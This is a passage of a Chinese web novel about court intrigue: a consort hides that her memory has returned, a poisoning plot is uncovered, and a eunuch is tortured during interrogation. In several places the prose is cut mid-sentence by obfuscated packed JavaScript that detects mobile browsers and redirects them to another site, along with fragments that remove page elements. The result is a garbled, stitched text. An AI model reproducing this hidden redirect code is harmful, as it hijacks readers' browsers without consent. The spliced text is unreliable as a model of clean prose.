太后叫了贺竟流一声,想要让贺竟流闭嘴,但贺竟流全然不当回事,他继续说:“母后,你年纪也大了,不要总是张口闭口打打杀杀的,又是这样大好的日子,太不吉利。 行了,赶紧把人拖下去吧,等皇嫂醒了之后再做审问。” 贺竟流直接下了定论。 太后虽然面色不虞,却也没有与他有太多的争论。 那群人很快被拖了下去。 姜妃没有出声,视线始终在太后和清妃两个人身上打量,她几乎同时在这两人眼睛里看到了泛起的冷意。 太后不想让那个杂耍班子里的人活,只有这样,就算晋明鸢醒了,她也可以咬死不认,说那些人动了手脚,让晋明鸢中了邪。 清妃同样也不想那些人活着,她还想在贺江灈那里维持自己的形象,如果让贺江灈知道,是她故意找人,让晋明鸢恢复记忆,意图挑拨他们的关系,贺江灈肯定会怪罪她。 姜妃几乎可以笃定,把人押下去就是暂时的,这两人用不了多久就会动手。 她冷哼一声,没再理会清妃。 导致晋明鸢昏倒的罪魁祸首已经被押走了,这场宫宴也是草草结束,姜妃安排了在座的嫔妃散场,这才又回了内殿。 晋明鸢还没有醒,贺江灈还在一边守着。 姜妃一过来,贺江灈就问:“处置好了?阿鸢她…” “已经问过了,那杂耍班子里的人说,晋姐姐醒来有可能会恢复记忆,人是清妃请来的,陛下应该知道怎么回事吧?”姜妃道。 她就是故意说给贺江灈听的。 晋明鸢自己想要恢复记忆,她们是默许了清妃的作为,借了清妃的手。 可这也摆脱不了清妃确实不怀好意。 姜妃知道,这五年,晋明鸢和贺江灈闹的凶,其实贺江灈心里是害怕晋明鸢恢复记忆的。 她故意这时候说起这些,就是为了等晋姐姐醒来之后做打算。 如果晋姐姐醒来,依旧如以往一样和他闹,姜妃就不信他不会把怒气转移到清妃那里。 姜妃的话换来的是贺江灈长久的沉默,许久之后,贺江灈才问:“阿鸢不会有事吧?” “臣妾已经问过了,可能会昏迷一段时间,可能会恢复记忆。”姜妃说。 贺江灈点了点头,又没有说话,他的视线晦涩不明的看着晋明鸢的脸。 姜妃也又是担忧的看了晋明鸢一眼,她却没有在这里多留,而是出门叫来了挽月。 她担忧清妃或者太后,现在就要对那个杂耍班子里的人动手,必须得让自己的人先过去守着,她才能放心。 等到把一切都处理妥当了,姜妃悬着的心依旧没法安定。 也不知道晋姐姐什么时候醒来,也不知道她醒来之后会不会恢复记忆?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742349|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 又或者恢复记忆之后,她会怎么想? 对于这件事的担忧,姜妃一直都不比贺江灈少。 风雪依旧不止。 冷风灌进衣领,刮的人的皮肤战栗不止。 也让意识变得无比清醒。 姜妃看着面前茫茫的白雪,只觉得思绪越理越乱。 “在想什么?担心皇嫂?”最后忽然传来了一个懒散的男音,是贺竟流。 他没有和太后一起走,这会儿就倚在一边的抱柱上看着姜妃。 姜妃没有否认。 贺竟流说:“不会有事的,皇嫂是我见过生命力最强的人,她一定会福大命大的。” “嗯。”姜妃随口应了一声。 贺竟流又说:“这些年,你好像变了很多,又好像没变。” “是吗?”姜妃道,“宴平王与其在这里与我闲聊,还是赶紧回去看看你母后吧,她这会儿怕是正心焦火燎呢。” 她没心思与贺竟流闲聊。 只想赶紧把人糊弄过去。 贺竟流说:“母后就是火气大,我才懒得过去触她霉头呢,她想发火,随便她就是。” 他满脸都是无所谓,姜妃确实不耐烦了:“贺竟流,你是不是听不懂人话呀?谁管你母后脾气大不大,我就是想让你别在这里烦我。” 贺竟流道:“啧,这又不是你的地方,怎么你在这里,我就不能在了?” 姜妃没搭他的话。 过来有一会,贺竟流又说:“姜青雉,都进宫这么多年了,你的脾气一点也不见小啊。 这世间也就皇兄这般有气魄,就连你这种母老虎,也敢纳进宫来。” “你找抽是不是?”姜妃本来心情就不好,现在听到贺竟流的调侃,她直接就忍不住了,伸手就要去摸腰间的长鞭,却反应过来今天没有带。 贺竟流顺手,把自己的佩剑丢了过来:“比起抽我,咱们姜妃娘娘应该更想做点别的吧,比如… 走吧,闲着也是闲着,本王今天也做回正事,陪你去地牢怎么样?” 第173章 到底恢复记忆没有 跑,拼了命的跑,她得逃离这里。 她还有云瑄,她得看着云瑄长大。 暖秋橘黄色的光洒落下来,打在人身上只有刺骨的冷意。 晋明鸢一路跌跌撞撞,脚下一软她像是跌到了什么地方。 身体在不断的下坠,下坠。 她好像记得在很久很久之前,她也这么拼尽全力的奔跑过。 意识陡然混沌,太多乱糟糟的东西,一股脑的涌入脑海,一张一张熟悉又陌生的脸在脑海里不断的闪过。 耳边好像还有人不断的叫着她的名字。 意识太乱了,像是没有尽头的海,要将她溺毙其中。 晋明鸢拼命的挣扎着,挣扎着。 恍恍惚惚的,好像是有一只有力的大手攥住了她的手腕,将她那几乎沉迷溺毙的意识一点点的唤醒。 眼睛缓缓的睁开,最先撞进眼帘的是大片明黄。 晋明鸢看着贺江灈,有点儿恍惚的视线里,她能看到对方那双关切到不行的眼睛,耳边还在嗡嗡作响,无数的声音争先恐后的想要涌入耳膜。 其中最明显的就是此刻贺江灈的关切声。 “阿鸢,你现在怎么样了?可有哪里不舒服?朕这就让太医再来给你看看。” 贺江灈急匆匆的就叫了太医过来。太医又一次给晋明鸢把脉,最后也没说出个所以然来,晋明鸢低着头,始终就像一个木偶一样。 把太医打发出去之后,贺江灈的声音更担忧了,他道:“阿鸢,你…” 他想问一下晋明鸢有没有恢复记忆,但话才开了个头,紧接着一个巴掌就甩到了他肩膀上,伴随着晋明鸢不耐烦的声音:“吵什么吵?烦**了,我刚才是怎么了?不是在宴会上吗?我为什么在这儿?” 晋明鸢一连问了好几个问题,她抬起头来看着贺江灈。 那双眼睛里都是茫然和疑惑。 这是没有恢复记忆了? 贺江灈也有点拿不准。 那肩膀处被打到的地方还带着一股钝痛。 他想如果阿鸢真的恢复了记忆,大概率又会不说话不理他,绝不会像现在这么鲜活。 想到这一层,贺江灈很快就释然了。 他简单的给晋明鸢说了一下今天发生的事,视线从来没有离开晋明鸢的眼睛。 他看到她的视线好像有些许的晃动,但很快床上的人就猛的一掀被子站了起来:“那还愣着做什么?赶紧去找姜妃啊! 清妃那个黑心肝的,万一算计了姜妃怎么办? 还有那个太后更是心肠歹毒,你怎么能让姜妃自己去地牢?” 晋明鸢一边说着,一边拔腿就跑。 贺江灈听她一会儿骂姜妃,一会骂太后,脸上的神色愈发的释然,并且笃定。 她之前与清妃关系最好了,如果她真的恢复了记忆,不可能一开始就对清妃有那么大的敌意。 而且还有太后… 阿鸢曾经在太后面前,永远都是恭恭敬敬的,她根本不会说这种对太后不敬的话。 贺江灈只是片刻的愣神,晋明鸢已经踩着鞋子朝着外面跑去。 刚刚清醒过来,双腿都还有点发软,但是晋明鸢现在顾不得的这些。 她想到那些斑驳不清的画面,努力让自己镇定下来,以最快的速度朝着地牢的方向赶。 昨夜雪下的大,厚雪在地上积了一层,脚踩在雪地上深深浅浅的,走路尚且不稳,更别提是跑了。 晋明鸢没走两步,就跌倒在地,贺江灈抱着大氅追出来时,就看到她爬起来后片刻都不休息,就跌跌撞撞的又往前方跑。 贺江灈赶紧拦在了她身前,将大氅罩在了她身上:“阿鸢,你先别着急,朕已经派了暗卫过去,上来,朕带你去。” 他在晋明鸢的面前弯下了腰,拍了拍自己的肩膀。 晋明鸢瞳孔又一次轻微的晃动,她在袖子里的手悄悄收紧,刚才因为摔倒擦破了皮的手心渗出血来,但她却好像完全感觉不到疼痛。 看着这个在自己面前屈膝弯腰的人,晋明鸢站着没有动,贺江灈又回头看她一眼:“阿鸢,你…”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742350|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你什么你,烦**,我警告你,你要是把老娘摔了,老娘跟你没完。” 贺江灈有点怀疑的话没有问出口,就先被晋明鸢暴躁的打断了。 她这回不再犹豫,直接跳到了男人背上,手臂直接勒在男人的脖颈处。 在这样的距离下,她好像能感觉到对方呼吸的时候喉结轻微的滚动。 她知道他对她从来都不设防,就连最脆弱的脖颈,甚至是后背都是可以毫无防备的暴露在她眼前的,可是… 晋明鸢瞳孔又有些许的晃动。 只是走在前面的贺江灈看不到。 白茫茫的雪野里,贺江灈背着她,即便脚步一深一浅,却又好像走的极稳,像极了那年,他也是这样把她背进四皇子府的。 “阿鸢。”贺江灈又叫了一次晋明鸢的名字,他有点想问清楚,她到底有没有想起来。 他是害怕她想起过往的,但又有点希望她想起来。 他们两个之间是有一段美好回忆的,他不想一直攥着那回忆过活。 “做什么?”晋明鸢没好气的反问一句,没有给贺江灈问话的机会,她就直接自顾自的道,“我警告你,别以为你这次做点好事我就原谅你了,上回因为那幅破画冤枉我的账,还没有平呢。” 心里有些许隐秘的期待,伴随着晋明鸢的这句话消散了。 她到现在还在因为那幅画的事生气,几乎不可能是恢复记忆了。 贺江灈不知为何,忽然有点沉默,晋明鸢也没主动搭话。 等到两人到了地牢的时候,地牢里已经乱作一团了。 地上躺着几具横七竖八的尸体。 甬道尽头,最里边的一间牢房,姜妃搬了个椅子,坐在牢房正中央,贺竟流立在她身边。 那个杂耍班子里的人,此刻都双手抱头,蜷缩在角落里,看起来很害怕而在姜妃正前方,一个小太监被绑在架子上,一张脸已经惨白如纸,连身子都在不停的发抖。 晋明鸢和贺江灈进来的时候,看到的就是这样一幅场面。 第174章 清妃作为 贺竟流先发现了晋明鸢和贺江灈的到来。 他连忙转身行礼打招呼:“皇兄皇嫂,你们来的正好。 人已经抓到了,姜妃娘娘正要审呢。” 他说话的空荡,姜妃也起身,视线直直的就落在了晋明鸢身上,一双眼睛里似有期待,又似有担忧。 “晋姐姐…”姜妃试探着叫了一声。 晋明鸢直接拍了拍贺江灈的肩膀,示意他把自己放下,脚一着地,她就冲向了姜妃:“你怎么样?我昏迷之后,太后那个老妖婆没为难你吧?” 这熟悉的态度,这口无遮拦的话,姜妃脸上掀起的淡淡怀疑直接散掉了。 她冲着晋明鸢轻轻摇头:“没有的,晋姐姐,你现在怎么样?可有什么不舒服的地方?” “我能有什么事?好了,不说这个了,这人是怎么回事?”晋明鸢有点急促的转移话题。 姜妃直接走向了那被绑在架子上的小太监:“陛下都过来了,还不打算说吗?还是非要让本宫做点什么,才能撬开你的嘴?” 她手里攥着的是贺竟流的佩剑,泛着寒光的剑锋,被她一下又一下的敲打在那太监的脸上。 她声音慢悠悠的,又好像带着一种不容置疑的威压。 “姜妃娘娘,您还要奴才说什么啊? 奴才刚才都已经解释过了,奴才就是奉了清妃娘娘的命令,来给他们送饭的。 人是清妃娘娘请来的,就算被关在这里,娘娘也不能不管他们的温饱吧? 您不能为了嫁祸娘娘,就对奴才屈打成招。” 这小太监说话的时候,条理无比的清晰。 在他不远处的地面上,确实摆着一些饭菜,但已经被打翻了。 姜妃道:“我看你还真是不见棺材不落泪,送饭是吧?掺了**的饭菜,咱们清妃娘娘还真是善良呢。” 伴随着她的声音落下,贺竟流已经拿了一枚银针探向了地上的饭菜,银针迅速的变黑。 贺竟流直接把手里的针高高举起,确保所有的人都能看到。 “这…这到底是怎么回事?清妃娘娘为什么想要我们的性命?”那群杂耍班子里的人本来就瑟瑟发抖,现在再看到那枚漆黑的银针,领头的大汉已经颤抖的出了声。 姜妃说:“这还有什么好问的,自然是**灭口,现在陛下就在这里,如果你们真的想活命,就告诉陛下清妃找你们进宫的时候,到底与你们说过什么? 她当真不知道你们那个圆盘能让人精神恍惚吗?” “这…”那个男人有点犹豫,视线游移不定的扫向贺江灈。 倒是被绑着的小太监急切的道:“姜妃,你不要血口喷人,这饭菜刚才你已经动过了,说不定**就是你趁着别人不在意的时候下的。 陛下您可一定不要相信姜妃,她就是为了嫁祸清妃娘娘的,娘娘心善,可做不出这等**灭口的事来。” “你倒是忠心护主。”姜妃嗤笑一声,“你主子是不是承诺过一定不会让你出事,她一定会救你的? 可是你被绑在这里多久了,她来了吗?” 话说到这里,姜妃忽然手腕翻转,那个让她攥在手里当玩物一样的剑瞬间没入小太监的肩胛,鲜红色的血喷涌出来,溅了她满脸,她又问:“如果不是本宫手下留情,这一剑就该刺在你心脏上,可你的主子现在在哪里呢?她来得及救你吗?” 剑没有**,姜妃的手狠狠的下滑。 她将那太监肩胛的伤口撕裂的更大:“你既然这么忠心护主,不如本宫与你打个赌,你说在你血流干之前,你的主子会不会来呢?” 鲜血从伤口处汩汩涌出。 伴随着仿佛没有止境的刺痛。 大片的鲜红浸染了小太监身上深蓝色的衣裳,晕出的是一片更加深的痕迹。 鲜血不断的流逝着,就好像连带着生命也在不断的流逝。 视线所及处,是姜妃玩味的目光,是陛下冷眼旁观的放纵,是宴平王事不关己的漠视。 小太监 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752110|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的底气和信任都好像在这一刻被消磨殆尽。 他感觉因为血液流失的太多,他的身体都开始发冷了。 可地牢外面依旧安安静静的。 他终于再也按耐不住:“娘娘,姜妃娘娘,求您饶奴才一命,奴才也是听从清妃娘娘的吩咐。” “所以这毒是清妃让你下的对吗?”姜妃又问。 这回小太监没有否认了。 他赶紧点了点头:“是…是!清妃一开始就没有想让这些人活着,她刚开始安排了人在宫外劫杀,但因为您的阻拦出现了变故,所以才会出此下策。” 听到他道出清妃的安排,杂耍班子里的那群人又开始不住的颤抖。 清妃找到他们的时候,他们还以为这次终于发财了,可以过个好年了,却没有想到这是一条不归路。 谁也没有想到那个眉目温柔,连说话声音都温和的娘娘,既然会有如此歹毒的心肠。 就在领头的那个男人,还在不住的失神时,队伍里一个干瘦的人已经站了出来,他道:“老大,你不想说我来说,但这位娘娘如果我们说了实话,您能保我们以性命吗?” “陛下在这里看着,只要你们所言属实,没有人能动你们的,说吧,清妃找到你们的时候怎么说的?你们这也根本不是什么杂耍班子吧?”姜妃道。 干瘦的男人和领头的男人对视了一眼,还是那个领头的男人道:“还是我来说吧,我们确实不是杂耍班子,我是南疆的巫医,那个圆盘上的符文,事实上是一种催眠术法,可以让人精神恍惚陷入沉睡,然后在睡梦中改变记忆,也可以让失忆的人在睡梦中找回记忆。 那位清妃娘娘找上我们的时候,就与我们说要我们帮宫里的一位贵人恢复记忆,还说事成之后给我们百两黄金。 她让我们伪装成杂耍班子进宫,那些杂耍的活计都是我们这几天现学的,所以没那么熟练。 事情就是这样,我们知道的都已经说了,还请各位贵人放我们一条生路。” 第175章 母后,儿媳身不由己啊 杂耍班子里的人不停的磕头求饶。 贺江灈眉心紧蹙,他问:“你们说你们是为了让人恢复记忆而来,可为什么阿鸢没有恢复?” 记忆倒是其次,贺江灈更担心那个圆盘给晋明鸢带来不好的影响。 “这…”领头的那个人被问住了,好一会儿他才犹犹豫豫的说,“那位贵人的事或许是个例外,我们也…” “你想说你不知道?”贺江灈声音瞬间就冷了下来。 这群人还真是胆大包天,这种连他们自己尚且把握不住的东西,竟然敢拿到宫里来用。 “不是这样的,我们…”为首的那个壮汉又想要解释,他的视线也是有点怀疑的看向了晋明鸢。 按理说不会出岔子的才对,怎么会… “你迁怒他们做什么?现在不是该处置你那个清妃吗?怎么?尊贵的陛下是想为了包庇清妃找别人顶罪吗?”晋明鸢直接接上了领头人的话。 她挡在了贺江灈的面前,声音都有点阴阳怪气的。 “朕没有说包庇清妃,只是比起这个来,你的身子更重要,阿鸢,你现在可有什么不适?你的记忆…” “什么记忆不记忆的,反正是些不重要的玩意儿,我好的很呢,行了,大过年的这些人也不容易,还是把人放了吧。”晋明鸢说。 她一句话落下。 杂耍班子里的人纷纷感激的磕头道谢。 但姜妃和贺江灈,看着晋明鸢的视线就都变得无比的古怪。 尤其是姜妃。 之前晋姐姐不是还很想恢复记忆的吗?怎么现在又忽然改了口? 难不成… 心底有某个念头,隐隐冒了头,姜妃也知道现在不是多问的时候,她道:“陛下既然是晋姐姐无事,这些人也是奉了清妃的命令,不如就听晋姐姐的,把人放了吧。” “不能放!”贺江灈还没有做决定,太后尖锐的声音响起,她在王嬷嬷的搀扶下急匆匆的赶了过来。 冷眼看了一眼地牢里的场景,视线朝着晋明鸢那里瞟了一眼,太后说:“皇帝,这些妖人绝对不能放,他们害得晋氏昏迷,现在晋氏却对他们百般维护,这件事明显就不对劲。 以哀家看,这群妖人定是使了什么不入流的手段,借由晋氏的口给他们求情。” 她一边说着,视线又一次意味不明的在晋明鸢的脸上定格。 晋明鸢的视线和太后撞到了一起。 她并没有错过太后瞳孔里一闪而过的凌厉。 手在袖子里轻微的收紧,晋明鸢再抬头看向太后的时候,眼睛里是一片讥诮:“太后娘娘的意思是,现在我是被他们操控的人偶对吗?” “皇上,太后娘娘,各位贵人,请你们明鉴,小民哪里有这样的本事呀,小民怎么可能去操控活人?这…这也太荒唐了些。”那群江湖术士已经被吓破了胆,还是领头的人颤颤巍巍的冲着太后的方向磕头。 如果他们真有操控活人的本事,这世界岂不是乱套了? 退一万步讲,皇帝就在他们面前,直接操控了皇帝,岂不是就能让江山易主了? 这得是多么荒唐的一件事呀? 但这里所有人都是他们惹不起的贵人,即便知道太后说的是没有理据的无稽之谈,这个领头的男人也不敢太过强硬的反驳,只能试图和太后解释。 太后道:“你们当然不会承认,如果你们什么都没做,那又怎么解释晋氏给你们求情?” 晋明鸢立在一边。 她听着太后颠倒黑白的话,眼睛里的讥诮更为明显。 想要借此机会把她打为疯子,想要让她的话无人相信,太后也真是煞费苦心,甚至不惜拿那么多条人命垫脚。 晋明鸢深吸一口气,她道:“你这个老妖婆在这里胡言乱语什么呢?我看最应该被处置的就是你,那么多条人命你是一点也不在意,真是够狠心的。” “晋氏,你说什么?你管哀家叫什么?”太后本来大半的注意力都在那个杂耍班子身上,现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752111|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晋明鸢一句话,让她猛的回头,一双眼睛不可置信地盯着晋明鸢。 不只是太后,在场的所有人都惊住了,即便贺江灈方才已经听到过晋明鸢对太后意见很大的话,也没有想到她会当着太后的面就这么说出来。 “老妖婆呀,有什么不对吗?”晋明鸢直接反问,态度很是无所谓,端的是有恃无恐的姿态。 旁边的姜妃已经张大了嘴。 刚才的某种想法又开始动摇起来。 她怎么觉得,晋姐姐这次醒来之后,好像比以前更疯了? 如果她恢复了记忆,应该做不出这种事来吧? 太后捂着胸口,气的哎哟哎哟的叹气不停,好一会儿,她才终于缓过了口气来,看着贺江灈:“皇帝,皇帝,你刚才听见了吧,你刚才听见她叫哀家什么了吧?这你还不赶紧管管,还不给哀家一个交代吗?” 太后都顾不上去处置那个杂耍班子里的人了,现在只想处置晋明鸢。 不管私底下关系怎么样,就连陛下都得叫她一声母后,这个晋氏她怎么敢… “慢着,太后娘娘您可不能处置我,刚才是您自己说的,我已经被人控制了,那我现在所说的,所做的,那都是身不由己,别说我只是叫你一句老妖婆了,就算我现在伸手打你,那我也控制不住呀,哎呀,谁让我被别人控制了呢,您说是吧?”晋明鸢说。 就像是要证实她自己的话,她已经摩拳擦掌冲着太后走了过来,俨然一副要对太后动手的模样。 太后现在也反应过来了。 这个晋明鸢就是打定了主意要保这些人的,这会儿如果她继续咬定了晋明鸢被人控制了,这女人说不准真敢打她。 太后又有点慌乱的看着贺江灈:“皇帝,皇帝,你还愣着做什么?你还不管管她?” 贺江灈也看向了晋明鸢,只一眼他就收回了视线,又对着太后说:“母后,不是朕不想管,你看你也知道,阿鸢被人控制了,她又不认识朕,朕如何管得了呢?” 第176章 贺江灈就不是个东西 太后眼前一黑,险些因为贺江灈的话直接昏倒。 “好啊,皇帝,你真是好极了,你是要为了这个女人连母后也不管了吗?你知不知道你这是不孝?”太后怒骂道。 她早就知道这个贺江灈不是什么好东西。 若是早知道如此,当年她就不该那么轻易妥协的! 贺江灈说:“母后,是您自己说的,阿鸢被人操控了,她又不认识朕,朕如何能管?” 在太后紧张的质问间,晋明鸢直接掰着手腕朝着她走了过来。 贺江灈都已经发话了,旁人自然不敢拦,太后这会儿都要被气疯了,她拽着王嬷嬷的衣裳,躲在王嬷嬷背后,又冲着贺江去吼道:“怎么不能管,你按住她呀,你难道就要任由着她在这里发疯吗?” “朕不敢呀母后,母后知道的,朕是万金之躯,朕肩上还有江山社稷,朕可不能出什么差池。”贺江灈不仅不拦,还稍微调整了一下坐姿,饶有兴趣的看着太后。 太后简直要被他理直气壮的话气疯了。 眼见着晋明鸢已经到了她面前,太后只能把求助的希望放在自己另一个儿子身上,她盯着贺竟流:“流儿,你不能不管母后你赶紧把她给母后弄走。” “母后,不是儿臣不想管,只是这毕竟是儿臣的皇嫂,儿臣可不敢动她。”贺竟流叹了口气,满脸的无奈。 他这个解释倒是很合理了,本来男女有别,他还是个外男,现在贺江灈还在这里,他自然是不能碰晋明鸢的。 只是这话听在太后耳朵里就不是那么回事了。 太后厉声道:“难道你就要眼睁睁的看着母后挨打吗?” 太后是有些自知之明的,她记得这个晋明鸢手劲很大。 她这么一把老骨头了,自然没办法和晋明鸢比较什么。 “母后,儿臣是真的没辙呀,你说皇嫂被人控制了,这就算她真打你一顿,骂你一顿,也不是她自己所愿,您说说这事闹的,既然碰上了,母后也就自认倒霉吧。”贺竟流说。 太后脑袋嗡的一声,她看着贺竟流的脸色都震惊无比,这是亲儿子能说出来的话? 贺竟流没管太后的震惊,他又继续说:“如果皇嫂是皇嫂,她打您骂您是她不孝,您自然有无数种办法罚她。 可现在她都被人控制了,您还不停的激怒她,而且也是没办法呀。” 贺竟流的话都已经是明示了,就是想要让太后改口。 太后还是不乐意。 晋明鸢冷哼一声,直接把王嬷嬷扯到了一边,巴掌就对着太后的脸抬了起来。 太后瞳孔猛的一说,她已经记不清多少年没有人对她如此不敬了,她怒吼道:“晋氏,你敢?” 晋明鸢的巴掌没有落下来,她问:“太后娘娘是不是说错话了?我真的是晋氏吗?” “你少在这儿跟哀家装模作样的! 皇帝,你的嫔妃辱骂殴打哀家,你难道还不给哀家一个交代吗?”太后道。 即便依旧不愿意承认,但太后还真就不敢赌,她害怕晋明鸢那个疯子真能把巴掌落下来。 她这么大年纪,在这儿被儿媳妇殴打,这事若是传出去了,以后她这张老脸还能不能要了? “母后觉得她真是阿鸢吗?”贺江灈不紧不慢的询问。 “是,是还不行吗?她对哀家如此不敬,你赶紧让她给哀家一个交代。”太后说。 她现在简直要被气疯了。 那个杂耍班子里的人在她这里都已经不那么重要了,她只章从晋明鸢身上把今天丢的脸讨回来。 贺江灈轻咳了一声:“母后啊,阿鸢她脾气冲动您是知道的,刚才您不分青红皂白就诬赖她被别人控制了,她这急于自证清白,做出一些不理智的事来,也很正常,您说呢?” 正常? 什么是正常? 太后这下真的要被气得坐不住了。 她道:“皇帝你这是什么意思?你是说她刚才恐吓辱骂哀家,是哀家应该受着的?哀家是你的母后,你就是这样对待哀家,你难道不怕先帝泉下有知?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15758749|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 太后一时都不知道该怎么拿捏贺江灈,只能搬出了先帝来。 贺江灈说:“母后,刚才的事这儿所有人都看得清清楚楚,是您不分青红皂白污蔑人在先,父皇一向最明事理,他如果知道儿臣的决定,想来也会赞成的。 好了,既然事情已经弄清楚了,这些人也没有谋害阿鸢,这件事就不用母后来烦心了。” “皇帝,你…” “怎么母后还有别的事想说吗?”贺江灈问。 事情都闹到了这一步,太后也知道,贺江灈已经打定了主意,就算她再僵持下去,也未必能得到自己想要的结果。 她眼睛里一片阴沉。 皇帝想要把人放了,那这些人能不能活着走出皇宫,就靠她们自己的本事了。 “你执意如此,哀家自然没什么好说的。”太后冷哼一声。 “既然母后没话说了,那就该朕说了,刚才倒在外边的人是母后安排的吧?朕倒是好奇您与这些江湖术士有什么深仇大恨?至于派那么多精锐前来灭口吗?”贺江灈说。 这个下药的小太监是清妃派来的,清妃的目的已经很明了了,可外边的人,总要有个归宿。 现在太后急匆匆的赶过来,张口就要把人处死,若说外边那些人不是她的手笔,都没人会信。 听贺江灈明显是要兴师问罪,太后的眼神有点闪烁,但很快她就说:“皇帝,哀家也是为了你好。 这些人害晋氏昏迷,明显就是有妖术傍身,你身为皇帝,大年夜沾了血,难免不吉利,所以这事儿哀家替你来。 你现在却这般质问怀疑哀家,可真是让哀家伤心。 算了,你毕竟不是哀家亲生的与哀家也多有芥蒂,今天就当是挨家多管闲事了吧。” 她深深的叹了口气,再看向贺江灈的时候,眼睛里就好像还含着无奈和哀伤,简直要把一个不被理解的慈母形象演了个十成十。 没等贺江灈说话,太后就又到:“事已至此,哀家便也不在这里碍皇帝的眼了。” 第177章 你恢复记忆了? 太后走的很急,脚步里还带着明显的烦躁。 贺竟流几乎是和她一起离开的。 至于这个杂耍班子里的人,贺江灈听了晋明鸢的意思,让人把他们放出了宫。 但暗地里去派了一批暗卫做监视。 不仅仅是为了防着太后在背后做什么手段,更重要的一点是晋明鸢昏迷又没有恢复记忆的事,让他觉得很不放心。 邀云宫里,晋明鸢看着亦步亦趋跟进来的贺江灈。 晃动的烛火下,她的视线有些闪烁,但很快又是一片莫名其妙,她道:“你跟我回来做什么?” 贺江灈已经习惯了她近来喜怒无常的态度,对她这句话也没有什么波澜,他道:“你刚才摔了一跤,朕看看你的伤口。” “有什么好看的?与其在这里看我,你倒不如先去看看你的清妃,她这次又算计我,难不成你又想包庇?”晋明鸢没好气的道。 提到某个名讳的时候,她眼睛里闪过了一丝暗芒,就连瞳孔深处的情绪都有些冷沉。 视线又一次回到贺江灈身上的时候,她小声嘀咕了一句:“也是呀,她是你的好表妹,自小柔弱无依,活该所有人都让着她捧着她。” “你说什么?什么表妹,你是不是想起来了?”贺江灈面色一凛,探究的视线一瞬间落在了晋明鸢身上。 他的手抬起来,叩在晋明鸢肩头,强行与面前的人对视。 晋明鸢没好气的打掉他的手:“听不懂你在说什么?那清妃不是你的表妹吗?这又不是什么秘密,你干嘛那么激动?” 贺江灈眼里的情绪,因为晋明鸢这句话溃散许多。 但他还是有点儿怀疑的,看了晋明鸢一眼。 晋明鸢也瞪着他,一双眼睛都是不耐烦。 这让贺江灈眼里的怀疑散了一点儿。 他几乎一下子就想到了当初晋明鸢冷漠的连一句话都不愿意理他的模样。 他们闹别扭的那几年,晋明鸢向来如此的,如果她恢复了记忆,绝不可能一点也没有表露。 贺江灈有点释然了。 但他还是没有马上离开,而是抓住了晋明鸢的手,目光落在晋明鸢手心的擦伤上:“我先替你处理伤口吧。” 晋明鸢稍微晃动了一下手腕,没能把手抽出来,她索性也没有再坚持,任由贺江灈攥着:“那你快点,我困了,想睡觉。” 她声音淡淡,神色也淡。 贺江灈动作稍顿,却什么都没说。 等到伤口简单的清理好,上了药,晋明鸢就直接把手抽了回来。 她又一次出声催促:“你怎么还不去找你的清妃?” 贺江灈想要和她说话,却见她已经别过了脸。 略有无奈的叹了口气,贺江灈只能起身离开,临走的时候,他又给晋明鸢丢下了一句,下回再来看她。 晋明鸢不置一词。 一直等到贺江灈走了之后,姜妃这才急匆匆的进来了:“晋姐姐,你这是…你的记忆…” 晋明鸢没有说话,只是轻轻的对着姜妃点了一下头,算是默认了。 没有旁人在这里,她的脸色有点凝重,又有点古怪。 姜妃的神色也很古怪:“你都想起来了?那你为什么还…” 